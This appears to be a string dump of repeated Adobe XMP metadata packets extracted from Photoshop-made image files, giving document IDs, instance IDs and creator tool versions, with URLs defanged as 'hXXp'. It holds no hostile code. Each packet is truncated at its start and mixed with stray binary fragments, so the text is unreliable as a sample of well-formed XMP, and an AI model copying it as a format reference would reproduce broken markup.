" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:03B4A37BBF45E311847E8D64EDAA5123" xmpMM:DocumentID="xmp.did:BD4F1CD96ECC11E3A98EC2E3C67E8740" xmpMM:InstanceID="xmp.iid:BD4F1CD86ECC11E3A98EC2E3C67E8740" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:53d69a0e-9b00-3c44-8a71-b1e91bbe3c58" stRef:documentID="xmp.did:03B4A37BBF45E311847E8D64EDAA5123"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:A679A2EB3D40E311B4BB97CC3487326D" xmpMM:DocumentID="xmp.did:8A21A802D5C811E3BE8B88726C1FD775" xmpMM:InstanceID="xmp.iid:8A21A801D5C811E3BE8B88726C1FD775" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:f6062034-dc4c-a647-b276-a347202dcc07" stRef:documentID="xmp.did:A679A2EB3D40E311B4BB97CC3487326D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:A679A2EB3D40E311B4BB97CC3487326D" xmpMM:DocumentID="xmp.did:8A21A7FED5C811E3BE8B88726C1FD775" xmpMM:InstanceID="xmp.iid:8A21A7FDD5C811E3BE8B88726C1FD775" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:f6062034-dc4c-a647-b276-a347202dcc07" stRef:documentID="xmp.did:A679A2EB3D40E311B4BB97CC3487326D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:569078281245E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:4F0D3D7CB64111E383108D1971A3EE62" xmpMM:InstanceID="xmp.iid:4F0D3D7BB64111E383108D1971A3EE62" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2d5fcdbf-e3e9-df4d-9124-8405bea2a272" stRef:documentID="xmp.did:569078281245E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:569078281245E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:4F0D3D78B64111E383108D1971A3EE62" xmpMM:InstanceID="xmp.iid:4F0D3D77B64111E383108D1971A3EE62" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2d5fcdbf-e3e9-df4d-9124-8405bea2a272" stRef:documentID="xmp.did:569078281245E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
1F=.sf 
!iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC (Windows)" xmpMM:InstanceID="xmp.iid:706A15EEBA2E11E3AE6BAB5F84C6699E" xmpMM:DocumentID="xmp.did:706A15EFBA2E11E3AE6BAB5F84C6699E"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:706A15ECBA2E11E3AE6BAB5F84C6699E" stRef:documentID="xmp.did:706A15EDBA2E11E3AE6BAB5F84C6699E"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>Q
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:3D1C77A74FF411E3B096A9DC17A58A87" xmpMM:DocumentID="xmp.did:3D1C77A84FF411E3B096A9DC17A58A87"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:3D1C77A54FF411E3B096A9DC17A58A87" stRef:documentID="xmp.did:3D1C77A64FF411E3B096A9DC17A58A87"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:569078281245E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:BC2D4EC5F4FA11E3A1C1E06FF3A53DF9" xmpMM:InstanceID="xmp.iid:BC2D4EC4F4FA11E3A1C1E06FF3A53DF9" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:7b6c2516-455f-e648-a35e-a3fd0199b00d" stRef:documentID="xmp.did:569078281245E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>)
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:4F7620CD341F11E4AA0FB583B3FA1801" xmpMM:InstanceID="xmp.iid:4F7620CC341F11E4AA0FB583B3FA1801" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:df7cdd53-02fe-ea49-b2b8-1def77da5509" stRef:documentID="xmp.did:5856D7595631E311A851941F5494AFF4"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:352C25AE341F11E4BAE7FA76CC539B7D" xmpMM:InstanceID="xmp.iid:352C25AD341F11E4BAE7FA76CC539B7D" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:b2ae9780-d493-dc4c-9e43-452d02dba839" stRef:documentID="xmp.did:5856D7595631E311A851941F5494AFF4"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>VF
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:50133B9D341F11E4AA0FB583B3FA1801" xmpMM:InstanceID="xmp.iid:50133B9C341F11E4AA0FB583B3FA1801" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:df7cdd53-02fe-ea49-b2b8-1def77da5509" stRef:documentID="xmp.did:5856D7595631E311A851941F5494AFF4"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:D468FFBF34A611E4B6F9BDDCCD4E8747" xmpMM:InstanceID="xmp.iid:D468FFBE34A611E4B6F9BDDCCD4E8747" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:02319f6f-6fb7-5c46-b99a-00630cfded8e" stRef:documentID="xmp.did:5856D7595631E311A851941F5494AFF4"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:50133B99341F11E4AA0FB583B3FA1801" xmpMM:InstanceID="xmp.iid:50133B98341F11E4AA0FB583B3FA1801" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:df7cdd53-02fe-ea49-b2b8-1def77da5509" stRef:documentID="xmp.did:5856D7595631E311A851941F5494AFF4"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>S
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:352C25B2341F11E4BAE7FA76CC539B7D" xmpMM:InstanceID="xmp.iid:352C25B1341F11E4BAE7FA76CC539B7D" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:b2ae9780-d493-dc4c-9e43-452d02dba839" stRef:documentID="xmp.did:5856D7595631E311A851941F5494AFF4"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:1BE1676B341F11E48958DB33CCC0C3DD" xmpMM:InstanceID="xmp.iid:1BE1676A341F11E48958DB33CCC0C3DD" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:28d29a08-1c25-f044-9bd7-b2f068be8564" stRef:documentID="xmp.did:5856D7595631E311A851941F5494AFF4"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:1BE1676F341F11E48958DB33CCC0C3DD" xmpMM:InstanceID="xmp.iid:1BE1676E341F11E48958DB33CCC0C3DD" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:28d29a08-1c25-f044-9bd7-b2f068be8564" stRef:documentID="xmp.did:5856D7595631E311A851941F5494AFF4"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>z==
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:50133BA1341F11E4AA0FB583B3FA1801" xmpMM:InstanceID="xmp.iid:50133BA0341F11E4AA0FB583B3FA1801" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:df7cdd53-02fe-ea49-b2b8-1def77da5509" stRef:documentID="xmp.did:5856D7595631E311A851941F5494AFF4"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:DBE635E3737711E4AEE28B35E4825C49" xmpMM:InstanceID="xmp.iid:DBE635E2737711E4AEE28B35E4825C49" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8ff1c8d7-1a99-fc46-b6bb-e2e7b0f6f1f8" stRef:documentID="xmp.did:5856D7595631E311A851941F5494AFF4"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:C125E43B986D11E3B9FAEC58B8D2BD0D" xmpMM:InstanceID="xmp.iid:C125E43A986D11E3B9FAEC58B8D2BD0D" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:14D05DDC6B98E311BFFAAC2757E07188" stRef:documentID="xmp.did:5856D7595631E311A851941F5494AFF4"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>`
j*.ypJ9t
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:32712255986711E3BC48B961C477D334" xmpMM:InstanceID="xmp.iid:32712254986711E3BC48B961C477D334" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:7640E8CB6598E311BFFAAC2757E07188" stRef:documentID="xmp.did:5856D7595631E311A851941F5494AFF4"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:32712259986711E3BC48B961C477D334" xmpMM:InstanceID="xmp.iid:32712258986711E3BC48B961C477D334" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:7640E8CB6598E311BFFAAC2757E07188" stRef:documentID="xmp.did:5856D7595631E311A851941F5494AFF4"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>0.M
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:D851FC53977F11E3A955BC560F7AEA77" xmpMM:DocumentID="xmp.did:D851FC54977F11E3A955BC560F7AEA77"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D851FC51977F11E3A955BC560F7AEA77" stRef:documentID="xmp.did:D851FC52977F11E3A955BC560F7AEA77"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:32712251986711E3BC48B961C477D334" xmpMM:InstanceID="xmp.iid:32712250986711E3BC48B961C477D334" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:7640E8CB6598E311BFFAAC2757E07188" stRef:documentID="xmp.did:5856D7595631E311A851941F5494AFF4"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:EBA0EFD89F8A11E3AEEFD23196E8D860" xmpMM:DocumentID="xmp.did:EBA0EFD99F8A11E3AEEFD23196E8D860"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:EBA0EFD69F8A11E3AEEFD23196E8D860" stRef:documentID="xmp.did:EBA0EFD79F8A11E3AEEFD23196E8D860"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:3285BC14986711E3BC48B961C477D334" xmpMM:InstanceID="xmp.iid:3285BC13986711E3BC48B961C477D334" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:7640E8CB6598E311BFFAAC2757E07188" stRef:documentID="xmp.did:5856D7595631E311A851941F5494AFF4"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:C39E41BB278611E49A89DC92EFB106ED" xmpMM:InstanceID="xmp.iid:C39E41BA278611E49A89DC92EFB106ED" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5EA7FBA0988311E3AE0DEC6A4F34AAC8" stRef:documentID="xmp.did:5EA7FBA1988311E3AE0DEC6A4F34AAC8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>{
D\|i%S7
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:70899EC8278711E4944080D503B689BE" xmpMM:InstanceID="xmp.iid:70899EC7278711E4944080D503B689BE" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:fb73dadb-eb90-e14c-82e0-74a9e2fed63c" stRef:documentID="xmp.did:525B74F7988311E3A6F2974BB138AB9F"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>8;
